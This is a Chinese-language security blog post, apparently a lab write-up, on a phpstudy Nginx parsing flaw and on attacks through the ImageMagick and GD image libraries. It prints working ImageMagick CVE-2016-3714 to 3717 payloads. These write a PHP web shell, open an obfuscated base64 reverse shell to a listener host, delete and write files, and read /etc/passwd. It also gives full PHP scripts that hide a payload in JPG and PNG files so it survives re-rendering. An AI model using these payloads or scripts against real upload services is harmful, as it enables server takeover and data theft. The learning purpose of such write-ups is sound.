32

0x00

最近phpstudy爆出Nginx解析漏洞,由于nginx默认配置存在错误配置,导致任意文件都可以解析为php代码。

漏洞原理可参考此链接:https://www.cnblogs.com/yang34/p/13653893.html

当然本文肯定不会是专门讲nginx解析漏洞,而是讲漏洞复现时发现的一个小问题点。本次漏洞复现使用了mkcms和74cms作为漏洞环境进行复现。

下载phpstudy8.1.0.7版本。

image-20201113161730880

​ cms安装成功后,找到可上传图片点

mkcms

​ 上传图片马

image-20201113163013507

image-20201113163024628

image-20201113163040801

解析成功。

74cms:

image-20201113163104610

image-20201113163123563

image-20201113163142063

图片的确解析了,但是phpinfo没被解析。

img

img

img

百思不得其解,度娘了一波,大致了解,图片上传时调用图片处理函数对图片进行了剪裁啥的然后重新生成了一张新的图片。而这种方法叫二次渲染。

快乐 啪!没了

作为菜逼的我代码也看不懂,只能跟着百度方法C32ASM一波了。

mkcms,原图片和上传后图片的对比,阔以发现没得啥变化,怪不得可以执行成功。

image-20201113165910750

74cms,原图片和上传后图片对比,图片前面已经全部被修改了。。。

image-20201113170123875

尝试了n+++++久。。。。。。好像整个图片代码没得地方是不变的。

img

于是想对图片库这一块的漏洞好好学习一波,于是。。。就有了本篇文章。。。php常用图片库漏洞的利用和总结?

0x02 ImageMagick

介绍

ImageMagick是目前使用最广泛的开源图片处理工具,可读写处理图片类型超90种,支持多种编程语言,也可使用命令行对图片进行操作。Imagemagick在16年爆出命令执行漏洞及利用伪协议进行读取、删除、移动文件等漏洞。漏洞复现使用PHP调用imagemagick库来进行测试。关于漏洞的详细分析此处贴一个大佬的连接:ImageMagick漏洞分析,有兴趣的大佬可以看看。

环境搭建

Apache+php5.6

Ubuntu18.04(更新之前去掉sources.list中deb-src注释)

sudo apt update && apt upgrade
sudo apt build-dep imagemagick

下载imagemagick漏洞版本(此处下载6.8.1作为演示)
源码下载地址:https://master.dl.sourceforge.net/project/imagemagick/old-sources/6.x/

安装
tar -zxvf ImageMagick-6.8.1-10.tar.bz
cd ImageMagick-6.8.1-10
sudo ./configure
make && make install
查看是否安装成功
convert -version
sudo ldconfig /usr/local/lib

image-20201014104544133

如上图,则安装成功。

安装PHP扩展
apt install libmagick++-dev
apt install php—imagick
重启后打印phpinfo 查看php-imageic是否添加成功

image-20201014113400760

漏洞源码

index.php

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Image Uploader</title>
</head>
<body>
<h1>Image Uploader</h1>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="myimage">
<input type="submit" name="submit">
</form>
<?php
include('upload.php');
?>
</body>
</html>

Upload.php

<?php
if(isset($_POST['submit'])){
$validext = array('.jpg' , '.png');
$image = $_FILES['myimage'];
$ext = strrchr($image['name'],'.');

if(!in_array($ext,$validext)){
exit("文件不是允许的图片类型!");
}

if(move_uploaded_file($image["tmp_name"],'image.png')){
system('convert image.png myimage.png');
echo 'yes';
}else{
echo 'error';
}
}
?>

漏洞利用

漏洞产生位置都是同一个点,Imagemagick有一个功能delegate是调用外部lib来处理文件,而调用外部lib的过程是执行system命令来执行,导致存在命令执行漏洞。当访问的连接是HTTPS协议时,漏洞会被触发。

CVE-2016-3714

命令执行漏洞

写入shell
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/1.jpg"|echo \'<?php phpinfo();?>\' > shell.php")'
pop graphic-context

反弹shell-poc
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/oops.jpg"|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjIxMS41NS43Lzg4ODggMD4mMQ== | base64 -d| bash")'
pop graphic-context

image-20201018020511007

当前网站目录下不存在上传的图片及生成的shell文件

image-20201018021030131

上传image.png图片

image-20201018021104260

上传成功,访问shell.php

image-20201018021303134

查看网站根目录

image-20201018021207651

反弹shell同理,监听8888端口

image-20201019102927078

反弹成功

CVE-2016-3715

ImageMagick的“临时”伪协议可以删除文件,该协议在读取后删除文件

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/var/www/html/test.txt'
popgraphic-context

漏洞利用:创建test.txt文件

image-20201018025102952

图片上次成功后,test文件删除成功

image-20201018025243313

CVE-2016-3716

此漏洞是利用ImageMagick中的msl协议读取xml的内容,并根据其内容来写入任意文件。

image.png

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/var/www/html/test.txt'
popgraphic-context

test.txt

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/var/www/html//1.gif" /># File to be copied
<write filename="/var/www/phpinfo.php" /># Destination location
</image>

准备一张图片马

image-20201019105859157

写入成功

image-20201019105959018

CVE-2016-3717

本地文件读取漏洞,根据label协议,可以读取文件并生成一个文件截图

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

image-20201019110440082

上传image.png,passwd文件截图成功

image-20201019110553098

getimagesize()函数绕过

官方手册中对getimagesize说明:

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。

getimagesize函数是用来修复之前ImageMagick漏洞。在之前的POC中当图片大小为0,0 0,0触发漏洞,使用getImagesize函数限制图片格式后,之前爆出来的POC无法使用。如何绕过?P神大法好:ImageMgaick邂逅getimagesize的那点事 涉及到底层C实在是不懂,贴一下P神的详细分析文章,大佬们自行查看。

POC

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200

image-20201019114308851

而在某些特定条件下,可以使用xbm格式也可以绕过getimagesize函数,由于无测试环境,直接上payload,将如下代码插入php中

#define test_width 16
#define test_height 7
<?php echo 'test';?>
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

0x03 GD

介绍

GD库是PHP最常用的图片处理库之一,通常用来生成缩略图,或者用来对图片加水印,或者用来生成汉字等图像处理操作。

关于GD库的二次渲染和Imagemagick的二次渲染基本一样,绕过方法一致,以下使用的方法同适用于Imagemagick。

二次渲染

二次渲染是将用户上传的图片马中图像数据抓取出来,在使用自带的API或函数重新渲染,而PHP使用GD库是可以绕过二次渲染。

此处使用upload-labs的第十六关靶场来进行验证。

渲染函数:

以下三个函数类似,判断不同类型的图片文件,并且根据原图片生成新图片
imagecreatefromgif()
imagecreatefromjpeg()
imagecreatefrompng()

cropImage() //imagick渲染函数
GIF渲染绕过

渲染绕过就是将未渲染的图片和渲染后的图片进行对比,找到被渲染后但是未被更改的区域添加恶意代码,如下图:

image-20201019011253065

红框中是渲染后未被修改的区域,添加恶意代码

image-20201019011722049

可以看见部分代码还是被删除了,但是大部分还是保留,我们继续找位置

image-20201019012243357

经过测试,将代码插入到即可如下图所示处即可

image-20201019015944302

上传成功,代码未删除

image-20201019020127169

而图片添加了部分代码后。。咳咳,不过不影响正常使用,长成啥样随意吧。。。

image-20201019020437719

JPG渲染绕过

二次渲染绕过同理,通过对比文件内容插入代码,不过网上已有jpg图片渲染绕过的脚本,

先将图片文件上传,然后将图片下载到本地,使用下面脚本处理后,重新上传图片即可

脚本如下

<?php
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
PNG渲染绕过

png不同于gif和png,不过一般绕过方法是将Web shell放入PLTE块(CBC值)或IDAT块来绕过PNG内容的渲染,关于png的格式可参考:PNG文件格式详解

脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

将上面代码运行后会在同目录生成一个1.png,重新上传后打开,发现恶意代码未被删除,成功绕过。

image-20201022165908209

0x04 总结

关于二次渲染的绕过方法其实是可适用于大多数图片处理库,对渲染后未修改的部分进行修改即可,渲染的地方不同,可写入代码位置需自行调试。ImageMagick漏洞属于图片库本身存在的漏洞,所以不限于PHP,其他编程语言中若使用Imagemagick漏洞版本,利用方法同上。

最后的最后,解析漏洞的复现当然是成功了。

img

image-20201113171338508

看见红框框了吗?看见图片名称了吗?没看见?再看一次

image-20201113171422445

简单明了的上传点上传成功后,成功解析。

而前面为什么没解析的原因。。

因为用的是第三方编辑器上传的,Kindeditor编辑器。。

image-20201113171628101

img

参考链接

https://xz.aliyun.com/t/2657#toc-13

https://blog.csdn.net/Auuuuuuuu/article/details/89046184

https://wooyun.js.org/drops/CVE-2016-3714%20-%20ImageMagick%20%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%88%86%E6%9E%90.html

https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html

https://www.cnblogs.com/r00tuser/p/11312212.html

https://cloud.tencent.com/developer/article/1516346